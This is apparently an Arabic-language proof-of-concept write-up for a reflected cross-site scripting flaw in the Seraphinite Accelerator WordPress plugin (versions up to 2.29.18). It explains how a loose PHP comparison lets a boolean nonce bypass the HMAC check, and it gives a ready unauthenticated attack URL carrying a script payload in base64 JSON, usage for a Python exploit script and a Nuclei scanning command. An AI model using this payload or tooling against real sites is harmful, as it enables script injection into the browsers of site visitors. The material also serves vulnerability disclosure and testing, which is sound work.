
Seraphinite Accelerator <= 2.29.18 - إثبات مفهوم لثغرة البرمجة النصية عبر المواقع المنعكسة
تقوم الإضافة بتوقيع طلبات "إعداد الصفحة" الداخلية الخاصة بها باستخدام HMAC في
المعامل seraph_accel_prep (JSON مشفر بـ base64)، لكنها تقارنه باستخدام
المقارنة غير الصارمة != في PHP. إرسال القيمة المنطقية true في JSON كـ
nonce يجعل المقارنة تنجح دائمًا، ويُعاد بعدها إخراج حقل selfTest دون
تهريب بصيغة selfTest-<value>.
رابط واحد، بدون مصادقة:
http://TARGET/?seraph_accel_prep=<base64 of {"_tm":"1","nonce":true,"selfTest":"<script>alert(document.domain)</script>"}>
Python (يتطلب pip install requests):
usage: seraph_accel_xss.py [-h] --url URL [--payload PAYLOAD] [--timeout TIMEOUT]
Seraphinite Accelerator (WordPress) <= 2.29.18
options:
-h, --help show this help message and exit
--url URL target site, e.g. http://target-site.com
--payload PAYLOAD XSS payload (default: <script>alert(document.domain)</script>)
--timeout TIMEOUT seconds (default: 30)
Nuclei:
nuclei -u http://target-site.com -t seraphinite-accelerator-prep-xss.yaml -timeout 10
إن -timeout 10 ضروري لأن مسار الكود المعرّض للثغرة ينتظر 5 ثوانٍ قبل الرد.